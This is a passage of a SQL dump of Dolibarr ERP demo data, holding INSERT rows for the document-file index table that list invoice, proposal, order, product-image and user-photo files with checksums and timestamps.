13:27:46',12,NULL,NULL,NULL,NULL,1,NULL,NULL,NULL),(127,'39351c10bac1952a9c3e7505b77a3495','f08a3d14a5ae0f288cd117b9815108eb',NULL,1,'FA1212-0009_invoice.odt','facture/FA1212-0009','/home/ldestailleur/git/dolibarr_15.0/documents/facture/FA1212-0009/FA1212-0009_invoice.odt','','',NULL,'unknown',NULL,'2022-02-07 14:27:46','2022-02-07 13:27:46',12,NULL,NULL,NULL,NULL,2,NULL,NULL,NULL),(128,'67f648b8fe1984bcb3ea2620fbc2828a','fe6f8a3b4b1ceecbd0838ce545afc877',NULL,1,'FA1212-0011.pdf','facture/FA1212-0011','/home/ldestailleur/git/dolibarr_15.0/documents/facture/FA1212-0011/FA1212-0011.pdf','','',NULL,'unknown',NULL,'2022-02-07 14:27:46','2022-02-07 13:27:46',12,NULL,NULL,NULL,NULL,1,NULL,NULL,NULL),(129,'5ddfdaeb0c7ca1cd31a385432912c924','d3ed67c68c415bb1ab1fbe70dad86057',NULL,1,'FA1212-0021.pdf','facture/FA1212-0021','/home/ldestailleur/git/dolibarr_15.0/documents/facture/FA1212-0021/FA1212-0021.pdf','','',NULL,'unknown',NULL,'2022-02-07 14:27:46','2022-02-07 13:27:46',12,NULL,NULL,NULL,NULL,1,NULL,NULL,NULL),(130,'175d1934a611fcb705b2f99736c9c4db','05cd7899fe75c0373cccfeb0d4effa35',NULL,1,'FA1212-0023.pdf','facture/FA1212-0023','/home/ldestailleur/git/dolibarr_15.0/documents/facture/FA1212-0023/FA1212-0023.pdf','','',NULL,'unknown',NULL,'2022-02-07 14:27:46','2022-02-07 13:27:46',12,NULL,NULL,NULL,NULL,1,NULL,NULL,NULL),(131,'0a6af0756aaa8297a0d642377b607963','1c951063e26b48eebe54eb92220e78d8',NULL,1,'FA1507-0015.pdf','facture/FA1507-0015','/home/ldestailleur/git/dolibarr_15.0/documents/facture/FA1507-0015/FA1507-0015.pdf','','',NULL,'unknown',NULL,'2022-02-07 14:27:46','2022-02-07 13:27:46',12,NULL,NULL,NULL,NULL,1,NULL,NULL,NULL),(132,'3ae2bd1a22d0f789d48fa5b05c21cca3','1514b9abebb7b9704cda5da4c52b7864',NULL,1,'FA1507-0015_invoice.odt','facture/FA1507-0015','/home/ldestailleur/git/dolibarr_15.0/documents/facture/FA1507-0015/FA1507-0015_invoice.odt','','',NULL,'unknown',NULL,'2022-02-07 14:27:46','2022-02-07 13:27:46',12,NULL,NULL,NULL,NULL,2,NULL,NULL,NULL),(133,'566749a19fbc251dc4ed0e1c67a89932','25f06a8e8dd7d0cfbea72e6b2c109594',NULL,1,'PR1007-0001.pdf','propale/PR1007-0001','/home/ldestailleur/git/dolibarr_15.0/documents/propale/PR1007-0001/PR1007-0001.pdf','','',NULL,'unknown',NULL,'2022-02-07 14:27:47','2022-02-07 13:27:47',12,NULL,NULL,NULL,NULL,1,NULL,NULL,NULL),(134,'2626893a8eba25219aa008f0e3775690','0e6c19224bbdfc90415b00a1bd766e32',NULL,1,'PR1007-0002.pdf','propale/PR1007-0002','/home/ldestailleur/git/dolibarr_15.0/documents/propale/PR1007-0002/PR1007-0002.pdf','','',NULL,'unknown',NULL,'2022-02-07 14:27:48','2022-02-07 13:27:48',12,NULL,NULL,NULL,NULL,1,NULL,NULL,NULL),(135,'22878d01d869b50e51c296f327c8c0af','aaf231d3683671621f82ebb5fc15d096',NULL,1,'PR1302-0005.pdf','propale/PR1302-0005','/home/ldestailleur/git/dolibarr_15.0/documents/propale/PR1302-0005/PR1302-0005.pdf','','',NULL,'unknown',NULL,'2022-02-07 14:27:48','2022-02-07 13:27:48',12,NULL,NULL,NULL,NULL,1,NULL,NULL,NULL),(136,'c566106ea2aad8c887e1e5887e427426','cef4c0c04d87a3e4d2564254489f47b6',NULL,1,'PR1302-0006.pdf','propale/PR1302-0006','/home/ldestailleur/git/dolibarr_15.0/documents/propale/PR1302-0006/PR1302-0006.pdf','','',NULL,'unknown',NULL,'2022-02-07 14:27:48','2022-02-07 13:27:48',12,NULL,NULL,NULL,NULL,1,NULL,NULL,NULL),(137,'f0670e34a50062c94a6ec71f195ffd7a','0dfaaff511fb6e8ffa94d085ac05955c',NULL,1,'PR1302-0007.pdf','propale/PR1302-0007','/home/ldestailleur/git/dolibarr_15.0/documents/propale/PR1302-0007/PR1302-0007.pdf','','',NULL,'unknown',NULL,'2022-02-07 14:27:48','2022-02-07 13:27:48',12,NULL,NULL,NULL,NULL,1,NULL,NULL,NULL),(138,'142509d21a32e9a3eeefffcb391bf2af','407e9fcdc7f001073628958feddbdef6',NULL,1,'CF1007-0001.pdf','fournisseur/commande/CF1007-0001','/home/ldestailleur/git/dolibarr_15.0/documents/fournisseur/commande/CF1007-0001/CF1007-0001.pdf','','',NULL,'unknown',NULL,'2022-02-07 14:27:53','2022-02-07 13:27:53',12,NULL,NULL,NULL,NULL,1,NULL,NULL,NULL),(139,'7a90f8625485a919e9d1fe4b873a769e','67aa4197014ab5792d9fb2fd9fb7ce71',NULL,1,'CF1007-0002.pdf','fournisseur/commande/CF1007-0002','/home/ldestailleur/git/dolibarr_15.0/documents/fournisseur/commande/CF1007-0002/CF1007-0002.pdf','','',NULL,'unknown',NULL,'2022-02-07 14:27:53','2022-02-07 13:27:53',12,NULL,NULL,NULL,NULL,1,NULL,NULL,NULL),(140,'f0203e34a81efc7d710b86295f4a4277','e5ec02a09187711e6d2451e3d174e133',NULL,1,'CF1303-0004.pdf','fournisseur/commande/CF1303-0004','/home/ldestailleur/git/dolibarr_15.0/documents/fournisseur/commande/CF1303-0004/CF1303-0004.pdf','','',NULL,'unknown',NULL,'2022-02-07 14:27:53','2022-02-07 13:27:53',12,NULL,NULL,NULL,NULL,1,NULL,NULL,NULL),(141,'ab2421790a1602da8653b02dc208d731','c4b1825aaf6b3e90ec5c22abb3b251ca',NULL,1,'CO1107-0002.pdf','commande/CO1107-0002','/home/ldestailleur/git/dolibarr_15.0/documents/commande/CO1107-0002/CO1107-0002.pdf','','',NULL,'unknown',NULL,'2022-02-07 14:27:57','2022-02-07 13:27:57',12,NULL,NULL,NULL,NULL,1,NULL,NULL,NULL),(142,'c1907b95156a0964a79a3c4bcaef8498','f558a23ce25e7983d17ce4f567fde4b0',NULL,1,'CO1107-0003.pdf','commande/CO1107-0003','/home/ldestailleur/git/dolibarr_15.0/documents/commande/CO1107-0003/CO1107-0003.pdf','','',NULL,'unknown',NULL,'2022-02-07 14:27:57','2022-02-07 13:27:57',12,NULL,NULL,NULL,NULL,1,NULL,NULL,NULL),(143,'1034b7c11032ba4305509636e44e66c7','b81bf55855474463bb6875e5ade642cc',NULL,1,'CO1107-0004.pdf','commande/CO1107-0004','/home/ldestailleur/git/dolibarr_15.0/documents/commande/CO1107-0004/CO1107-0004.pdf','','',NULL,'unknown',NULL,'2022-02-07 14:27:57','2022-02-07 13:27:57',12,NULL,NULL,NULL,NULL,1,NULL,NULL,NULL),(144,'253b69fed906e64b7f4c2bb33d7917c2','86464c6b7b21087c3310cd15442d6508',NULL,1,'CO1108-0001.pdf','commande/CO1108-0001','/home/ldestailleur/git/dolibarr_15.0/documents/commande/CO1108-0001/CO1108-0001.pdf','','',NULL,'unknown',NULL,'2022-02-07 14:27:57','2022-02-07 13:27:57',12,NULL,NULL,NULL,NULL,1,NULL,NULL,NULL),(145,'15f4b675acf2c6fa346c80d82ecaaec5','496cca40073d7b8675e0eebb0ea230b5',NULL,1,'RQ1607-0001.pdf','supplier_proposal/RQ1607-0001','/home/ldestailleur/git/dolibarr_15.0/documents/supplier_proposal/RQ1607-0001/RQ1607-0001.pdf','','',NULL,'unknown',NULL,'2022-02-07 14:28:01','2022-02-07 13:28:01',12,NULL,NULL,NULL,NULL,1,NULL,NULL,NULL),(146,'6af0fd1b03e31747a27f2355d6dd57b2','12a1917f8a109e352faa4fbf8f532b1a',NULL,1,'16.pdf','fournisseur/facture/6/1/16','/home/ldestailleur/git/dolibarr_15.0/documents/fournisseur/facture/6/1/16/16.pdf','','',NULL,'unknown',NULL,'2022-02-07 14:28:03','2022-02-07 13:28:03',12,NULL,NULL,NULL,NULL,1,NULL,NULL,NULL),(147,'b72722a6b79293f4b9d5534836f754a8','5c9ae7974767ca79f90766e46d1f97f8',NULL,1,'17.pdf','fournisseur/facture/7/1/17','/home/ldestailleur/git/dolibarr_15.0/documents/fournisseur/facture/7/1/17/17.pdf','','',NULL,'unknown',NULL,'2022-02-07 14:28:03','2022-02-07 13:28:03',12,NULL,NULL,NULL,NULL,1,NULL,NULL,NULL),(148,'26157b77d37c340836aedb6d78c9ce4b','81b6d23d5c5ac95aabdd4503f6b2bd79',NULL,1,'alberteinstein.jpg','users/1','/home/ldestailleur/git/dolibarr_15.0/documents/users/1/alberteinstein.jpg','','',NULL,'unknown',NULL,'2022-02-07 14:28:05','2022-02-07 13:28:05',12,NULL,NULL,NULL,NULL,1,NULL,NULL,NULL),(149,'d10c2a0733366a3011bb9db79bcaec17','ebc9978c671bae5e8e0350900957a9bd',NULL,1,'mariecurie.jpg','users/10','/home/ldestailleur/git/dolibarr_15.0/documents/users/10/mariecurie.jpg','','',NULL,'unknown',NULL,'2022-02-07 14:28:05','2022-02-07 13:28:05',12,NULL,NULL,NULL,NULL,1,NULL,NULL,NULL),(150,'f8dafe8a7d427c1f33ce628b63f3660e','ed95d1fb2f54a72cdb2389c029f1271b',NULL,1,'person4.jpeg','users/11','/home/ldestailleur/git/dolibarr_15.0/documents/users/11/person4.jpeg','','',NULL,'unknown',NULL,'2022-02-07 14:28:05','2022-02-07 13:28:05',12,NULL,NULL,NULL,NULL,1,NULL,NULL,NULL),(151,'e1606108d2271bfd9e7ec19dece0d1f7','d5f64b15058a4c95ec1fffb39fed360e',NULL,1,'person6.jpeg','users/12','/home/ldestailleur/git/dolibarr_15.0/documents/users/12/person6.jpeg','','',NULL,'unknown',NULL,'2022-02-07 14:28:05','2022-02-07 13:28:05',12,NULL,NULL,NULL,NULL,1,NULL,NULL,NULL),(152,'4cf03a580acfb6f91b04e28f5fafb6d8','18a71a131e519d3f2aca255371343e68',NULL,1,'person7.jpeg','users/13','/home/ldestailleur/git/dolibarr_15.0/documents/users/13/person7.jpeg','','',NULL,'unknown',NULL,'2022-02-07 14:28:05','2022-02-07 13:28:05',12,NULL,NULL,NULL,NULL,1,NULL,NULL,NULL),(153,'04b3b24d0247aa9e141a92d8c6f4ab57','4689a624f4ff71f1f69aea9385f7744b',NULL,1,'person3.jpeg','users/14','/home/ldestailleur/git/dolibarr_15.0/documents/users/14/person3.jpeg','','',NULL,'unknown',NULL,'2022-02-07 14:28:05','2022-02-07 13:28:05',12,NULL,NULL,NULL,NULL,1,NULL,NULL,NULL),(154,'05656c73e27cacf85b8a9d5257f71291','99eec010ef37eda7d9a0a971d9b7d14b',NULL,1,'person1.jpeg','users/16','/home/ldestailleur/git/dolibarr_15.0/documents/users/16/person1.jpeg','','',NULL,'unknown',NULL,'2022-02-07 14:28:05','2022-02-07 13:28:05',12,NULL,NULL,NULL,NULL,1,NULL,NULL,NULL),(155,'76b8ee91190429a48f04602e4c2ed12c','e288f7beabf3dbb50ab764ec3dbd2a20',NULL,1,'person5.jpeg','users/17','/home/ldestailleur/git/dolibarr_15.0/documents/users/17/person5.jpeg','','',NULL,'unknown',NULL,'2022-02-07 14:28:05','2022-02-07 13:28:05',12,NULL,NULL,NULL,NULL,1,NULL,NULL,NULL),(156,'96e8d498e4507eb0407bdb239d6fc802','71939d1f01d2f1617f5131ee34a19e7b',NULL,1,'ldestailleur_200x200.jpg','users/18','/home/ldestailleur/git/dolibarr_15.0/documents/users/18/ldestailleur_200x200.jpg','','',NULL,'unknown',NULL,'2022-02-07 14:28:05','2022-02-07 13:28:05',12,NULL,NULL,NULL,NULL,1,NULL,NULL,NULL),(157,'2fc59dfd4c4aeb1c63a969242ca1d6a8','e96eeee77f39a78a9316c22ea4f2ce86',NULL,1,'person2.jpeg','users/19','/home/ldestailleur/git/dolibarr_15.0/documents/users/19/person2.jpeg','','',NULL,'unknown',NULL,'2022-02-07 14:28:05','2022-02-07 13:28:05',12,NULL,NULL,NULL,NULL,1,NULL,NULL,NULL),(158,'a96c060439bf6b1d42d8ff5c2dbb7eb5','bccbed4cf8228c7fd2d22206b5a8f592',NULL,1,'person9.jpeg','users/2','/home/ldestailleur/git/dolibarr_15.0/documents/users/2/person9.jpeg','','',NULL,'unknown',NULL,'2022-02-07 14:28:05','2022-02-07 13:28:05',12,NULL,NULL,NULL,NULL,1,NULL,NULL,NULL),(159,'8f3535be740080fe1eeac5d7bdfc23f8','6fb1b02279e72873feb351539b07fff7',NULL,1,'pierrecurie.jpg','users/3','/home/ldestailleur/git/dolibarr_15.0/documents/users/3/pierrecurie.jpg','','',NULL,'unknown',NULL,'2022-02-07 14:28:05','2022-02-07 13:28:05',12,NULL,NULL,NULL,NULL,1,NULL,NULL,NULL),(160,'737e0b7100ad24a8ff984d1bd9b85936','b9d41201db137d8dd35feaae616effc7',NULL,1,'person8.jpeg','users/4','/home/ldestailleur/git/dolibarr_15.0/documents/users/4/person8.jpeg','','',NULL,'unknown',NULL,'2022-02-07 14:28:05','2022-02-07 13:28:05',12,NULL,NULL,NULL,NULL,1,NULL,NULL,NULL); +INSERT INTO `llx_ecm_files` VALUES (1,NULL,'6ff09d1c53ef83fe622b02a320bcfa52',NULL,1,'FA1107-0019.pdf','facture/FA1107-0019','/home/ldestailleur/git/dolibarr_6.0/documents/facture/FA1107-0019/FA1107-0019.pdf','',NULL,NULL,'unknown',NULL,'2017-08-30 15:53:34','2017-08-30 11:53:34',18,NULL,NULL,NULL,NULL,1,NULL,NULL,NULL),(2,NULL,'a6c8a0f04af73e4dfc059006d7a5f55a',NULL,1,'FA1107-0019_invoice.odt','facture/FA1107-0019','/home/ldestailleur/git/dolibarr_6.0/documents/facture/FA1107-0019/FA1107-0019_invoice.odt','',NULL,NULL,'unknown',NULL,'2017-08-30 15:53:34','2017-08-30 11:53:34',18,NULL,NULL,NULL,NULL,2,NULL,NULL,NULL),(3,NULL,'24e96a4a0da25d1ac5049ea46d031d3a',NULL,1,'FA1107-0019-depotFacture-1418-INH-N000289-20170720.pdf','facture/FA1107-0019','depotFacture-1418-INH-N000289-20170720.pdf','',NULL,NULL,'uploaded',NULL,'2017-08-30 15:54:45','2017-08-30 11:54:45',18,NULL,NULL,NULL,NULL,3,NULL,NULL,NULL),(4,NULL,'91a42a4e2c77e826562c83fa84f6fccd',NULL,1,'CO7001-0027-acces-coopinfo.txt','commande/CO7001-0027','acces-coopinfo.txt','',NULL,NULL,'uploaded',NULL,'2017-08-30 16:02:33','2017-08-30 12:02:33',18,NULL,NULL,NULL,NULL,1,NULL,NULL,NULL),(5,'5fe17a68b2f6a73e6326f77fa7b6586c','a60cad66c6da948eb08d5b939f3516ff',NULL,1,'FA1601-0024.pdf','facture/FA1601-0024','','',NULL,NULL,'generated',NULL,'2017-08-30 16:23:01','2018-03-16 09:59:31',12,12,NULL,NULL,NULL,1,NULL,NULL,NULL),(6,NULL,'24e96a4a0da25d1ac5049ea46d031d3a',NULL,1,'FA1601-0024-depotFacture-1418-INH-N000289-20170720.pdf','facture/FA1601-0024','depotFacture-1418-INH-N000289-20170720.pdf','',NULL,NULL,'uploaded',NULL,'2017-08-30 16:23:14','2017-08-30 12:23:14',12,NULL,NULL,NULL,NULL,2,NULL,NULL,NULL),(7,NULL,'d41d8cd98f00b204e9800998ecf8427e',NULL,1,'Exxxqqqw','produit/COMP-XP4523','/home/ldestailleur/git/dolibarr_6.0/documents/produit/COMP-XP4523/Exxxqqqw','',NULL,NULL,'unknown',NULL,'2017-08-30 19:03:15','2017-08-30 15:04:02',12,NULL,NULL,NULL,NULL,2,NULL,NULL,NULL),(8,NULL,'8245ba8e8e345655f06cd904d7d54f73',NULL,1,'compxp4523product.jpg','produit/COMP-XP4523','/home/ldestailleur/git/dolibarr_6.0/documents/produit/COMP-XP4523/compxp4523product.jpg','',NULL,NULL,'unknown',NULL,'2017-08-30 19:03:15','2017-08-30 15:04:02',12,NULL,NULL,NULL,NULL,1,NULL,NULL,NULL),(9,NULL,'d32552ee874c82b9f0ccab4f309b4b61',NULL,1,'dolihelp.ico','produit/COMP-XP4523','/home/ldestailleur/git/dolibarr_6.0/documents/produit/COMP-XP4523/dolihelp.ico','',NULL,NULL,'unknown',NULL,'2017-08-30 19:03:15','2017-08-30 15:03:15',12,NULL,NULL,NULL,NULL,3,NULL,NULL,NULL),(10,'afef987559622d6334fdc4a9a134c435','ccd46bbf3ab6c78588a0ba775106258f',NULL,1,'rolluproduct.jpg','produit/ROLLUPABC','/home/dolibarr/demo.dolibarr.org/dolibarr_documents/produit/ROLLUPABC/rolluproduct.jpg','',NULL,NULL,'unknown',NULL,'2018-01-19 11:23:16','2018-01-19 11:23:16',12,NULL,NULL,NULL,NULL,1,NULL,NULL,NULL),(11,'a8bbc6c6daea9a4dd58d6fb37a77a030','2f1f2ea4b1b4eb9f25ba440c7870ffcd',NULL,1,'dolicloud_logo.png','produit/DOLICLOUD','/home/dolibarr/demo.dolibarr.org/dolibarr_documents/produit/DOLICLOUD/dolicloud_logo.png','',NULL,NULL,'unknown',NULL,'2018-01-19 11:23:16','2018-01-19 11:23:16',12,NULL,NULL,NULL,NULL,1,NULL,NULL,NULL),(12,'bd0951e23023b22ad1cd21fe33ee46bf','03f0be1249e56fd0b3dd02d5545e3675',NULL,1,'applepieproduct.jpg','produit/CAKECONTRIB','/home/dolibarr/demo.dolibarr.org/dolibarr_documents/produit/CAKECONTRIB/applepieproduct.jpg','',NULL,NULL,'unknown',NULL,'2018-01-19 11:23:16','2018-01-19 11:23:16',12,NULL,NULL,NULL,NULL,1,NULL,NULL,NULL),(13,'e9e029e2d2bbd014162c0b385ab8739a','b7446fb7b54a3085ff7167e2c5b370fd',NULL,1,'pearpieproduct.jpg','produit/PEARPIE','/home/dolibarr/demo.dolibarr.org/dolibarr_documents/produit/PEARPIE/pearpieproduct.jpg','',NULL,NULL,'unknown',NULL,'2018-01-19 11:23:16','2018-01-19 11:23:16',12,NULL,NULL,NULL,NULL,1,NULL,NULL,NULL),(18,'1972b3da7908b3e08247e6e23bb7bdc3','03f0be1249e56fd0b3dd02d5545e3675',NULL,1,'applepieproduct.jpg','produit/APPLEPIE','/home/dolibarr/demo.dolibarr.org/dolibarr_documents/produit/APPLEPIE/applepieproduct.jpg','',NULL,NULL,'unknown',NULL,'2018-01-19 11:23:16','2018-01-19 11:23:16',12,NULL,NULL,NULL,NULL,1,NULL,NULL,NULL),(19,'ff9fad9b5ea886a0812953907e2b790a','3d14c3c12c58dfe06ef3020e712b2b06',NULL,1,'dolibarr_screenshot1_300x188.png','ticket/TS1909-0002','dolibarr_screenshot1_300x188.png','',NULL,NULL,'uploaded',NULL,'2019-09-26 14:12:04','2019-09-26 12:12:04',12,NULL,NULL,NULL,NULL,1,NULL,NULL,NULL),(20,'b6a2578c5483bffbead5b290f6ef5286','83c8e9b3b692ebae2f6f3e298dd9f5a2',NULL,1,'(PROV10)-dolibarr_120x90.png','propale/(PROV10)','dolibarr_120x90.png','',NULL,NULL,'uploaded',NULL,'2019-09-27 16:53:51','2019-09-27 14:53:51',12,NULL,NULL,NULL,NULL,1,NULL,NULL,NULL),(21,'89809c5b1213137736ded43bdd982f71','5f1af043d9fc7a90e8500a6dc5c4f5ae',NULL,1,'(PROV10).pdf','propale/(PROV10)','','',NULL,NULL,'generated',NULL,'2019-09-27 16:54:09','2019-09-27 14:54:09',12,NULL,NULL,NULL,NULL,2,NULL,'propal',10),(22,'8eb026e33ae1c7892c59a2ac6dda31f4','8827be83628b2f5beb67cf95b4c4cff6',NULL,1,'PR1909-0031.pdf','propale/PR1909-0031','','',NULL,NULL,'generated',NULL,'2019-09-27 16:54:30','2019-09-27 14:54:30',12,NULL,NULL,NULL,NULL,1,NULL,'propal',10),(24,'0d4e663b5c128d288a39231433da966e','3d2bd3daecd0de5078774ad58546d1f4',NULL,1,'PR1909-0032-dolibarr_192x192.png','propale/PR1909-0032','dolibarr_192x192.png','',NULL,NULL,'uploaded',NULL,'2019-09-27 17:08:42','2019-09-27 15:08:59',12,NULL,NULL,NULL,NULL,1,NULL,NULL,NULL),(25,'44867f8c62f8538da7724c148af2c227','f4208dc9a3dc83f668ea415244016c00',NULL,1,'PR1909-0032.pdf','propale/PR1909-0032','','',NULL,NULL,'generated',NULL,'2019-09-27 17:08:59','2020-01-15 18:37:15',12,12,NULL,NULL,NULL,2,NULL,'propal',33),(26,'3983de91943fb14f8b137d1929bea5a9','730822c8124123c9c7dcf0d55234e1c6',NULL,1,'PR1909-0033.pdf','propale/PR1909-0033','','',NULL,NULL,'generated',NULL,'2019-09-27 17:11:21','2020-01-18 18:32:33',12,12,NULL,NULL,NULL,1,NULL,'propal',34),(27,'399734120da8f3027508e0772c25e291','83c8e9b3b692ebae2f6f3e298dd9f5a2',NULL,1,'PR1909-0033-dolibarr_120x90.png','propale/PR1909-0033','dolibarr_120x90.png','',NULL,NULL,'uploaded',NULL,'2019-09-27 17:13:07','2019-09-27 15:13:13',12,NULL,NULL,NULL,NULL,2,NULL,NULL,NULL),(28,'c81de886c76ccd2d46fbc5f816047a71','e063b649494c9ededb5710207b8cdb41','kr8LmXlZVAW9Sl0iZ0w8re6Jd23S3X1k',1,'(PROV35).pdf','propale/(PROV35)','','',NULL,NULL,'generated',NULL,'2019-09-27 17:53:44','2020-01-01 19:54:50',12,12,NULL,NULL,NULL,1,NULL,'propal',35),(29,'34fe1f2546e8d1562b904b7bbe79e01a','6e1acd02fdd344b18e38c0cba729f552',NULL,1,'(PROV6).pdf','commande/(PROV6)','','',NULL,NULL,'generated',NULL,'2019-09-27 18:04:35','2019-09-27 16:04:52',12,12,NULL,NULL,NULL,1,NULL,'commande',6),(30,'fd2ad5abe709d7870bcd57743d9a1176','b0ae7dd69244e0c0a9d4c5e6d08bffcb',NULL,1,'(PROV93).pdf','commande/(PROV93)','','',NULL,NULL,'generated',NULL,'2019-09-27 19:33:29','2019-09-27 17:40:49',12,12,NULL,NULL,NULL,1,NULL,'commande',93),(31,'988caa795b4080019180253aac14d729','f566db26648f2e401d897d8c807a5616',NULL,1,'(PROV4).pdf','fournisseur/commande/(PROV4)','','','',NULL,'generated',NULL,'2019-09-27 19:46:07','2023-01-10 16:25:17',12,12,NULL,NULL,NULL,1,NULL,'commande_fournisseur',4),(32,'a046e42fcd8d114312eede243fd1850c','d7db84e8e456d3e6007ba870ac0cda70','WEhZ5Qyd8QGY1Ce2qiinq2w5805K5XLb',1,'PR1702-0020.pdf','propale/PR1702-0020','','','',NULL,'generated',NULL,'2019-09-27 19:47:00','2023-01-10 16:57:19',12,12,NULL,NULL,NULL,1,NULL,'propal',22),(33,'dc99eacf03a78050da53a2601d0f4b49','88c047d94ab183b015526f936a5c8923',NULL,1,'SI1601-0002.pdf','fournisseur/facture/7/1/SI1601-0002','','',NULL,NULL,'generated',NULL,'2019-10-04 10:10:25','2019-10-04 08:31:30',12,12,NULL,NULL,NULL,1,NULL,'facture_fourn',17),(34,'4ab84fd3e4079aeea831d65dfc2f6891','681578085f18bacd6d40341ef236c0d6',NULL,1,'FA6801-0010.pdf','facture/FA6801-0010','','',NULL,NULL,'generated',NULL,'2019-10-04 10:26:49','2019-10-04 08:28:14',12,12,NULL,NULL,NULL,1,NULL,'facture',150),(38,'b18da4bbfaf907c1f6706b46ae3add3c','0792f280fd9a114fbd432d5442f7445b',NULL,1,'dolibarr_256x256.png','ticket/TS1910-0004','/home/ldestailleur/git/dolibarr_10.0/documents/users/12/temp/dolibarr_256x256.png','',NULL,NULL,'unknown',NULL,'2019-10-04 17:25:05','2019-10-04 15:25:05',12,NULL,NULL,NULL,NULL,1,NULL,NULL,NULL),(40,'7205fe0a03a5bd79c7d60a0d05f06e25','df4db8f9cc75b79765e7ca11013fa0bc',NULL,1,'dolibarr_512x512.png','ticket/TS1910-0004','/home/ldestailleur/git/dolibarr_10.0/documents/users/12/temp/dolibarr_512x512.png','',NULL,NULL,'unknown',NULL,'2019-10-04 17:53:13','2019-10-04 16:47:55',12,12,NULL,NULL,NULL,3,NULL,NULL,NULL),(44,'53f92236476224c177f23ab30e6553aa','3d14c3c12c58dfe06ef3020e712b2b06',NULL,1,'dolibarr_screenshot1_300x188.png','ticket/TS1910-0004','/home/ldestailleur/git/dolibarr_10.0/documents/users/12/temp/dolibarr_screenshot1_300x188.png','',NULL,NULL,'unknown',NULL,'2019-10-04 18:49:30','2019-10-04 16:49:30',12,NULL,NULL,NULL,NULL,4,NULL,NULL,NULL),(45,'b33ed6e73b386cac4aab51eb62f3af50','1e71c3a5d4c8247935f89971dab4d9cd',NULL,1,'dolibarr_logo.jpg','ticket/TS1910-0004','/home/ldestailleur/git/dolibarr_10.0/documents/users/12/temp/dolibarr_logo.jpg','',NULL,NULL,'unknown',NULL,'2019-10-04 19:00:22','2019-10-04 17:00:22',12,NULL,NULL,NULL,NULL,5,NULL,NULL,NULL),(46,'4573b5a5d66e4598bc98075b33d2470f','3d14c3c12c58dfe06ef3020e712b2b06',NULL,1,'dolibarr_screenshot1_300x188.png.20191004190108','ticket/TS1910-0004','/home/ldestailleur/git/dolibarr_10.0/documents/users/12/temp/dolibarr_screenshot1_300x188.png','',NULL,NULL,'unknown',NULL,'2019-10-04 19:01:08','2019-10-04 17:01:08',12,NULL,NULL,NULL,NULL,6,NULL,NULL,NULL),(47,'a9be21b2a984fd57d2ff450bcfb59ef5','1e71c3a5d4c8247935f89971dab4d9cd',NULL,1,'dolibarr_logo.jpg.20191004193013','ticket/TS1910-0004','/home/ldestailleur/git/dolibarr_10.0/documents/users/12/temp/dolibarr_logo.jpg','',NULL,NULL,'unknown',NULL,'2019-10-04 19:30:13','2019-10-04 17:30:13',12,NULL,NULL,NULL,NULL,7,NULL,NULL,NULL),(48,'f598ad9040ed50087ae163d9bef3eb7c','fe0b95bda4dc7823739eadedfab7e823',NULL,1,'dolibarr_screenshot9_1680x1050.png','ticket/TS1910-0004','/home/ldestailleur/git/dolibarr_10.0/documents/users/12/temp/dolibarr_screenshot9_1680x1050.png','',NULL,NULL,'unknown',NULL,'2019-10-04 19:32:55','2019-10-04 17:32:55',12,NULL,NULL,NULL,NULL,8,NULL,NULL,NULL),(49,'95d0d57347686999f3609897cae8ec22','d32552ee874c82b9f0ccab4f309b4b61',NULL,1,'dolihelp.ico','ticket/TS1910-0004','/home/ldestailleur/git/dolibarr_10.0/documents/users/0/temp/dolihelp.ico','',NULL,NULL,'unknown',NULL,'2019-10-04 19:37:16','2019-10-04 17:37:16',0,NULL,NULL,NULL,NULL,9,NULL,NULL,NULL),(50,'1a30c5a296fa61f1d76b4f3c27a15701','8ea43be5bd1fb83a287a95cea7688cc4',NULL,1,'dolibarr.gif','ticket/TS1910-0004','/home/ldestailleur/git/dolibarr_10.0/documents/users/12/temp/dolibarr.gif','',NULL,NULL,'unknown',NULL,'2019-10-04 19:39:07','2019-10-04 17:39:07',12,NULL,NULL,NULL,NULL,10,NULL,NULL,NULL),(51,'3ad99f8446832892a610dbadcbd255f0','3dea7d1b511d19f8bd3252683423958a',NULL,1,'doliadmin.ico','ticket/TS1910-0004','/home/ldestailleur/git/dolibarr_10.0/documents/users/12/temp/doliadmin.ico','',NULL,NULL,'unknown',NULL,'2019-10-04 19:39:07','2019-10-04 17:39:07',12,NULL,NULL,NULL,NULL,11,NULL,NULL,NULL),(52,'4d147b3a8443635ff19fde49438394d0','ee8eab1acbf409681bcd13b6b210b8a1',NULL,1,'SI1911-0005.pdf','fournisseur/facture/1/2/SI1911-0005','','',NULL,NULL,'generated',NULL,'2019-11-28 15:54:30','2019-11-28 11:54:47',12,12,NULL,NULL,NULL,1,NULL,'facture_fourn',21),(53,'9324bc1030b77ebaef372d0ae40eb62e','db17ee9f430030fb21a6683d433c7457',NULL,1,'FR-CAR-Carrot.jpg','produit/FR-CAR','Carrot.jpg','',NULL,NULL,'uploaded',NULL,'2019-11-28 16:33:50','2019-11-28 15:33:50',12,NULL,NULL,NULL,NULL,1,NULL,NULL,NULL),(54,'b1fe7acb0dd8591b04b49ef1cd1743aa','db17ee9f430030fb21a6683d433c7457',NULL,1,'FR-CAR-Carrot.jpg','produit/POS-CAR','/home/ldestailleur/git/dolibarr_11.0/documents/produit/POS-CAR/FR-CAR-Carrot.jpg','',NULL,NULL,'unknown',NULL,'2019-11-28 16:36:56','2019-11-28 15:36:56',12,NULL,NULL,NULL,NULL,1,NULL,NULL,NULL),(55,'aba4d9af9dd0b200f44186f2db38b8f0','173299315f304f28081abca75e6ed635',NULL,1,'POS-APPLE-Apple.jpg','produit/POS-APPLE','Apple.jpg','',NULL,NULL,'uploaded',NULL,'2019-11-28 16:37:46','2019-11-28 15:37:46',12,NULL,NULL,NULL,NULL,1,NULL,NULL,NULL),(56,'0a07968edb04e24e4caa7945f9308b5b','f25692272dc2e691d90e785660251dea',NULL,1,'POS-KIWI-Kiwi.jpg','produit/POS-KIWI','Kiwi.jpg','',NULL,NULL,'uploaded',NULL,'2019-11-28 16:38:58','2019-11-28 15:38:58',12,NULL,NULL,NULL,NULL,1,NULL,NULL,NULL),(57,'da49d3ab86b6cb4f8269a3c1106de5bc','46026e1212b5e256a621559db254ce74',NULL,1,'POS-PEACH-Peach.jpg','produit/POS-PEACH','Peach.jpg','',NULL,NULL,'uploaded',NULL,'2019-11-28 16:39:29','2019-11-28 